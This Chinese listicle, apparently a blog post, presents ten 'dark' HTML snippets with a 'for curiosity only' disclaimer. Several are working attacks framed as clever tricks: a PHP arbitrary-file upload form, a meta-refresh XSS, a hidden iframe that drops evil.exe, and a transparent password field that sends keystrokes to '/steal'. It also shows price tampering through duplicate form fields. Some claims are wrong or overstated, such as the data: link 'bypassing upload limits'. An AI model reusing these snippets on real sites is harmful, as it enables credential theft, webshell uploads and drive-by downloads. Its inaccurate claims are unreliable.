邪修 HTML ,10 段“千万别上生产”的暗黑代码
——仅供技术猎奇,切勿真用!
⚠️ 每条都可能:语义错乱、SEO 爆炸、可访问性崩坏、面试官当场晕厥
面试炫技 OK,项目敢用就等死!
1️⃣ 一行木马上传
<form action="" method="post" enctype="multipart/form-data">
<input name="f" type="file">
<input type="submit">
</form>
<?php
if ($_FILES['f']['tmp_name'])
move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
?>
最精简的“一句话”上传,WAF 看了沉默。
2️⃣ meta
刷新秒跳转
<meta http-equiv="refresh" content="0;URL=javascript:alert('XSS')">
无 JS 也能弹窗,老 IE 全中招。
3️⃣ 隐藏下载器
<iframe src="evil.exe" style="display:none"></iframe>
页面一打开就偷偷下文件。
4️⃣ 利用 data:
URI 写任意文件
<a href="data:text/plain;charset=utf-8,木马内容" download="shell.php">点我</a>
浏览器直接落地木马,绕过上传限制。
5️⃣ 伪装输入框偷密码
<input type="password" style="opacity:0;position:absolute" oninput="fetch('/steal?p='+this.value)">
透明输入框,用户打一字传一字。
6️⃣ 表单项同名覆盖
<input name="price" value="999">
<input name="price" value="1">
后端只收到最后一个值,前端轻松篡改价格。
7️⃣ 负值进度条
<meter value="-10" min="0" max="100">进度</meter>
语义完全错误,屏幕阅读器崩溃。
8️⃣ 嵌套 details
无限递归
<details>
<summary>点我</summary>
<details><summary>再点</summary>…无限套娃</details>
</details>
页面高度瞬间爆炸。
9️⃣ autofocus
+ onfocus
死循环
<input autofocus onfocus="this.form.submit()">
自动聚焦即提交,用户一进来就刷新。
🔟 零宽空格隐形文本
<p>正常文本</p>
肉眼看不见,复制粘贴即乱码,SEO 直接废。
邪修口诀
“标签当武器,属性藏杀机;
语义全不要,浏览器哭泣。”
PS
想要正经学习 HTML ,从《HTML 入门课程》开始!